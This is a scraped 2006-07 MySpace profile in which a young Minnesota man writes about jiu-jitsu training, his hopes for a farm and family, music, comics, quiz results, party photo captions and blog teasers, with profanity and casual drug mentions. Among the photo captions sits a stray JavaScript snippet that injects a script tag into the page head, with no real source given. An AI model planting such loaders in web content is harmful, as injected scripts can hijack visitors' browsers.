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BLESSED BE THE LORD MY STRENGHT, WHICH TEACHETH MY HANDS TO WAR, AND MY FINGERS TO FIGHT. PSALMS 144:1SO A FEW MONTHS AGO I WENT TO MY APARTMENTS LAUNDY ROOM TO GET A SODA. THIS GUY HAD HIS GIRL BACKED INTO A CORNOR AND IT WAS OBVIOUS HE HAD RUFFED HER UP. WHEN I WAS THREE THE FIRST THING I REMEMBER MY DAD TEACH ME WAS TO ALWAYS PROTECT MY MOM AND SISTER AND TO NEVER HIT A GIRL. NOW THIS GUY WAS BIGGER THAN ME SO ABOUT ALL I COULD DO IS ASK IF SHE WAS ALRIGHT WHILE THE GUY MEAN MUGGED ME. I HAD TO GO GET ME ROOM MATE WHO IS A BIG GUY. THIS WONT HAPPEN AGAIN......MY NAME IS JERRY AND IM TRAINING TO BE A FIGHTER. IM LEARNING BRAZILIAN JIU-JITSU AT THE WARRIORS COVE IN BURNSVILLE. ITS THE BEST THING TO COME INTO MY LIFE IN A LONG TIME. I HAVE A WHOLE NEW PERSPECTIVE AND HAVENT FELT BETTER. IVE BEEN LOOKING FOR A PLACE THAT FEELS LIKE HOME. I THINK I FOUND IT.OK LADIES. IM NOT INTO MONEY. OR GIRLS WHO ARE ABOUT IT. I DONT DATE GIRLS I MEET AT THE BAR. I DONT SLEEP WITH GIRLS IM NOT IN LOVE WITH. WELL OK SLEEP BUT NOT SLEEP WITH. IF YOU TRY TO FUCK ME THE FIRST NIGHT WE'RE TOGETHER THEN YOU NEVER HAD A CHANCE ANYWAYS. AND IM NOT ON MYSPACE TO MEET WOMEN. UNLESS YOUR NAME IS QUINN OR ZOLI :) I WANT A HOUSE IN THE WOODS WITH ALOT OF LAND. A HOBBY FARM WOULD BE PERFECT BUT PRIVACEY IS KEY. A WANNA BREED SOME WOLFHOUNDS, HAVE SOME HORESES, A SHEEP OR TWO AND SOME GOATS. MAYBE A CHICKEN. A PLACE TO LIVE LIKE I WANT TO. HAVE BOMB ASS PARTIES WITH GIANT BONFIRES. A SHOOTING RANGE. TRAILS IN THE WOODS. MAYBE ON A LAKE OR RIVER. A NICE AIR CONDITIONED GARAGE WITH MATS FOR A LITTLE JIU JITSU. AH JIU JITSU. A NICE PLACE TO RAISE KIDS AND SHOW THEM WHATS IMPORTANT ABOUT LIFE. NO MTV. IM GOING TO RAISE MY BOYS LIKE KNIGHTS WO PROTECT AND RESPECT WOMEN. AND GIRLS WHO RESPECT THEMSELVES. NOT TO MUCH TO ASK IS IT? BASICALLY IM JUST TRYING TO BE A GOOD PERSON. LIVE LIFE RIGHT. AND HELP PEOPLE WHEN I CAN. ANY QUESTIONS?

My Interests

(8-18-06)JIU JITSU. 3 MONTHS AND IM HOOKED. I THINK ABOUT IT MORE THEN SOME OF THE GIRLS IVE DATED. CANT GET ENUFF. THE MORE MY BODY CAN TAKE THE MORE I WANT TO GO. THE MORE I LEARN THE MORE I WANT TO LEARN. BLOODY KNUCKLES, BLISTERED FEET. I LOVE IT. (this stuff is from when i started myspace so so long ago.) Snowboarding. only been out once this year though. love walks in the woods. major nature boy. my dream house is on a lake outside of city limits where i can relx, throw parties, shoot guns, set up some motorcross shit. my own little sanctuary in the woods. great place to raise kids n teach them what really is important in life. which isnt bitches n bling. i feel so sorry for kids nowadays. mtv is destroying there soul. its sad man. where is the love??? really.Wants: guitar, piano, tennis, wake boardind. yeah, wakeboarding. this sping i will attempt to begin my amatuar carrer. oh im gunna get hurt. cant wait!I like to dj to but "nobody listens to techno". trance n drum n bass. i suck at drum n bass but its my favorite. the beats r just so hard for me to mix.I have a massive comic collection 2. probibly a couple thousand or more. it takes up a wall of my room. my future kids collage fund. if i can bring myself to sell them.School 4 sure. went a year n half 4 personal training. going to school 4 massage therapy right now but think i might drop it n go 4 motorcycle repair. not sure yet. had to rub down some nasty people in class. but deffiently a skill im glad i learned. i love giving ladies massages. its a lot of work but its actually kinda relaxing 2. touch is a powerful thing. its like u can feel the energy passing through your hands to the other person. good vibes.Love the zoo. gotta remew my membership. minnesota zoo has a good dolphin show n in the winter i love to hang out in the tropic area. cheers me up when its gray out.
You Are Wolverine
Small but fierce, you're a great fighter.
Watch out! You are often you're own greatest enemy.

Powers: Adamantium claws, keen senses, the ability to heal quickly Which of the X-Men Are You? THATS RIGHT BUB

I'd like to meet:

ANY ONE INTO MMA AND TRAINING. I JUST STARTED A COUPLE MONTHS AGO BUT EVERYONE IVE MET ASIDE FROM ONE GUY HAS BEEN THE NICEST BUNCH OF GUYS. THE LITTLE BIT OF TRAINING IVE HAD HAS DEFFINETLY BROUGHT A CERTAIN DEGREE OF CENTEREDNESS TO MY LIFE SO I CAN SEE WHY PEOPLE WHO TRAIN DONT BRING THE TYPICAL AMOUNT OF....EGO I GUESS, THAT MOST GUYS SEEM TO HAVE. WHO WOULD OF KNOWN THAT ROLLING AROUND ON THE GROUND WITH A BUNCH OF SWEATY GUYS WOULD BE THE FUNNEST PART OF MY DAY? ITS GOOD TO CHALLENGE ONES SELF. OTHER THEN THAT CHILL PEOPLE WHO DONT BRING DRAMA. IF YOU'RE DRAMA SAVE THE INVITE. AND NO DRUG ADDICTS. HAD ENUFF OF THOSE TYPES OF "FRIENDS". SERIOUSLY WHO ASKES YOU TO HOLD ON TO A GROCERY BAG FULL OF SUDAFED FOR THEM?Robert Downey Junor. great guy. ive got a bit of a shady past myself and identify with him alot. similar personalities too. at least i think we do. Moby. the mozart or beetoven of our time. Ben Harper. Marley reborn. increadible soul. Jesus. pretty sure ill be meeting him. no time soon i hope, still got things to do here. almost died twice. i got hit by a drunk driver. the fucker straight drove into n over me. broke alot of shit n almost lost a foot. jerk. ruptered appendix. the hospital sent me home. back 2 days later n i get "4 more hours n you would of been dead". trhanks 4 sending me home doc. yeah good stuff. but yeah guess they dont want me up there yet..... Hellsing 01
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Music:

Final Fantasy VII: Advent Children- Linkin Park- In The End

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Add to My Profile | More VideosAny and every. even getting into country alittle. new country. old school kenny rodgers is classic. i got a bunch of his vinyl in my record collection. music is a expression of someones soul n wether its good or bad music thats a good thing but is great the way songs can stur up emotions and ideas. they make you feel. deffinetly a passion.
Which Trainspotting Character Are You? whatever. i havent done anything in forever. does a handful of ecstacy count?
You're an Passionate Kisser
For you, kissing is about all about following your urges
If someone's hot, you'll go in for the kiss - end of story
You can keep any relationship hot with your steamy kisses
A total spark plug - your kisses are bound to get you in trouble What Kind of Kisser Are You? LOL! YEAH THEY DO. WANNA FIND OUT?
Your Seduction Style: Au Natural
You rank up there with your seduction skills, though you might not know it.
That's because you're a natural at seduction. You don't realize your power!
The root of your natural seduction power: your innocence and optimism.

You're the type of person who happily plays around and creates a unique little world.
Little do you know that your personal paradise is so appealing that it sucks people in.
You find joy in everything - so is it any surprise that people find joy in you?

You bring back the inner child in everyone you meet with your sincere and spontaneous ways.
Your childlike (but not childish) behavior also inspires others to care for you.
As a result, those who you befriend and date tend to be incredibly loyal to you. What Kind of Seducer Are You? AH THE JOY OF BEING AN AQUARIUS
You Are 56% Politically Radical
You've got some radical viewpoints, but you aren't completely nuts. You're more of a visionary than a radical. Are You a Political Radical? What Type of Killer Are You? [cool pictures]
You are a Samurai.
You are full of honour and value respect. You are not really the stereotypical hero, but you do fight for good. Just in your own way. For you, it is most certainly okay to kill an evil person, if it is for justice and peace. You also don't belive in mourning all the time and think that once you've hit a bad stage in life you just have to get up again. It's pointless to concentrate on emotional pain and better to just get on with everything. You also are a down to earth type of person and think before you act. Impulsive people may annoy you somewhat.

Main weapon: Sword
Quote:"Always do the right thing. This will gratify some people and astonish the rest" -Mark Twain
Facial expression: Small smile
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Movies:

This is what men were ment to be..... 300 Trailer Video

Add to My Profile | More Videos Any. Ever. got like 4 hundred. id have to break it down by all time best top 10 per genre. high fidelity anyone?

Television:

any cable series. they r so good. favorite show of all time though....man. maybe farscape. would love to have been john criton. awesome character. king of queens for local stations.

Books:

to many to list. i got my own library. guys if ur feeling down check out "wild at heart", girls try "captivating". if ur r down on life these will probibly give u a new perspective. current fiction, Robert Jordan, The Wheel OF Time series. on book 3 but theres like 13 in the searies and they are from 700 to 1000 pages each so it will be awhile. if u like Lord Of The Rings u will love these. i swear they r better. love national geographic. cant wait to get them in the mail. comic books! i love michael turners art.

Heroes:

"Its not who we are on the inside but the actions we take that define us." "DONT BE LONELY FOR YOUR HEROES, BE YOUR OWN HERO. "BE WHAT YOU WANT THE WORLD TO BECOME" my heros are deffenitly my parents. friends come and go but these guys are my rock. They have been together for 35 years and i dont think ive ever seen them fight. It sucks cuz they are to good of role models and its hard to find people who can hold up to values they have instilled in me. especially lately. seems like all the people i know lately are flakeing out.(HAH! JUST EDITING MY STUFF AND YEAH ALL THOSE PEOPLE FLAKED OUT! THATS ALRIGHT, DONT THINK THEY WHERE SUPPOSED TO BE IN MY LIFE PAST THE POINT THEY WERE. DEAD WEIGHT N DRAMA.) :
You are Spider-Man Spider-Man 75% The Flash 75% Catwoman 70% Superman 65% Green Lantern 65% Robin 60% Hulk 55% Iron Man 55% Supergirl 45% Wonder Woman 35% Batman 30% You are intelligent, witty,
a bit geeky and have great
power and responsibility.
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spider man? yeah right. i am so batman. um yeah, im pretty sure im wasted. pauly! river nicks b-day .."var s=document.createElement('script');s.src='..';document.getEl ementsByTagName('head')[0].appendChild(s);" 8-30-06 MAN PRETTY HAS BEEN SAID. 8-30-06 LOL! 8-30-06 AIRFORCE! 8-26-06 UFC PARTY AT PARIS'S. NICE ASS BRO. HER SEXY POSE. First picture i've drawn in years. Does'nt do her justice. Baby step number one. 9-28-06 The Suicide Girls Burlesque show was incredible. I cant even describe how good it was. Got a picture with Regan but it came out bad. Way bummed on that. Thanks Soapy for the four bars after that i dont remember. God what a night! This is Reese the dog. He bit me. Jills Baby! You should see her eyes. 10-21-06 First time at Williams. Total collage bar.One of the boys i rolled with had a short but entertaining fight outside. Fuck your mercedes bitch. I hope i dont go back. Ps. good show at Cabooze to start the night. Inebreation.(check out their myspace) What up Woodrow? 9-24-06 This is what my feet look like after training. Wanna come play with me? 10-25-06 Random pics. Check out Fear And Loathing. Yeah boys! P.S. thanks for the ether. Its been awhile. Danies B'day. Wasted, yet again. Same night. This kid pissed his pants. So funny. Me n Nick. friends since childhood. with a little break in between. what up meing? Who's the cutest drunk birthday girl? YOU ARE! . DAY BEFORE THANKSGIVEING PICS........ I smoke big fuckin cigars. Wolfhounds. The dogs i will be getting as soon as i have a house. I LOVE them. ever since i was little. cant wait. 12-23-06 gettin more BA by the month. UFC 66. "He's only got seventy or eighty pounds on me. I think i can take him..." Thanks again Paris. 1-17-07 Wild Bill. One if my brothers-in-arms from the Cove. Katyana. Nice girl. I always seem to run into her sooner or later. Eric, me, n Nick Eric. My roomates cousin. Good kid. Stayed with us a couple days while he did his interview for the Peace Corps. He's getting sent to South America or Africa. Man i wish i could do something like that. Russman. He's a rapper or sumthing...... Wyatts little bro Clint. Me, Nick, Airforce, n i dont remember her name End of the night pic for 1-17-07 My bomb-ass cat Yayo. 1-20-07 I went to a monster truck show. No really. It was only in support of a buddy who was in it but i had a good time. Aside from going def. This was tight. He drove through a camper. Paris gettin some air. Scott, me, Willie, n Jen. Nice girls. Good convo. Suprising considering its a collage bar. You can tell by my face im ever so happy to be there. A great night altogether though i must say. 2-6-07 Tue night fight club. Me and Rick. The guy with his back to the camera is Cory who fought in UFC 62. Kinda cool haveing guys like that show up and train with us. 2-9-07 So i want to draw and write my own epic graphic novel. Just started drawing again and i got a long way to go to get my art back where it was when i was a kid. But the longest journey starts with a single step...

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my goals

alright so ive been doing the jiu jitsu just about long enuff to start to get it. but my conditioning just isnt where it should be so i started jogging which is something i never thought i would do ju...
Posted by Jer Bear AKA "The Noose" on Sun, 20 Aug 2006 07:50:00 PST

To All The Myspace Whores

I am so sick of your lame invites. No i dont want to watch you on your webcam while you finger yourself. No i dont want to meet any of you to hook up. Thats great that you like sex but im tired of&nbs...
Posted by Jer Bear AKA "The Noose" on Tue, 17 Oct 2006 10:06:00 PST

life is good

thats all
Posted by Jer Bear AKA "The Noose" on Sat, 26 Aug 2006 10:25:00 PST

OH MY!

SO IM CHECKING MY MESSAGES AND I GET A "HI" ONE FROM SOME GIRL I DONT KNOW. COOL RIGHT. I OPEN THE MESSAGE AND THE CHICK IS NAKED WITH A NOTE THAT SAYS "I LOVE JER BEAR". OH MY! OK IM A GUY SO YEAH NA...
Posted by Jer Bear AKA "The Noose" on Sat, 24 Jun 2006 03:37:00 PST

friday night blah

friday night n i dont wanna hangout with anyoe i know. blah. i went to neill hill which is like my favorite place since childhood(whats up neill crew) to chill at the top n just reflect on things like...
Posted by Jer Bear AKA "The Noose" on Sat, 03 Jun 2006 08:57:00 PST

make the world a better place

so awhile ago i started doing this thing in the morning where i talk to god(very spiritual not religious) n ask him to have a good day n spread a little joy n happiness to the people around me n to ma...
Posted by Jer Bear AKA "The Noose" on Sat, 03 Jun 2006 04:36:00 PST

my last date

first off let me say i dont date girls i meet at bars. i go. me a girl. my friend calls me. what do u think about her? yeah shes cool but i dont date girls i meet at the bar. but no shes a sweetheart ...
Posted by Jer Bear AKA "The Noose" on Sat, 03 Jun 2006 04:29:00 PST

hey ladies

whats with girls that break up with u, get back with their ex n then wont leave u alone when they say they will? ne one? cuz im starting to get annoyed. (andrea no comments please sense ur related)
Posted by Jer Bear AKA "The Noose" on Wed, 08 Mar 2006 09:50:00 PST

my summer goals

alright my goals for this summer. um first off, time to drop my fair weather friends. sorry boys but drinking n smokeing pot everydays just hasent been my thing for awhile n i dont think i want it to ...
Posted by Jer Bear AKA "The Noose" on Mon, 06 Mar 2006 03:14:00 PST

local artist

check out dtj n greedy. i went to high school with these guys n theyve been working on their shit since then. so give em a listen. inebration fuckin rocks too. (didnt want u yellin at me if u read thi...
Posted by Jer Bear AKA "The Noose" on Mon, 06 Mar 2006 04:33:00 PST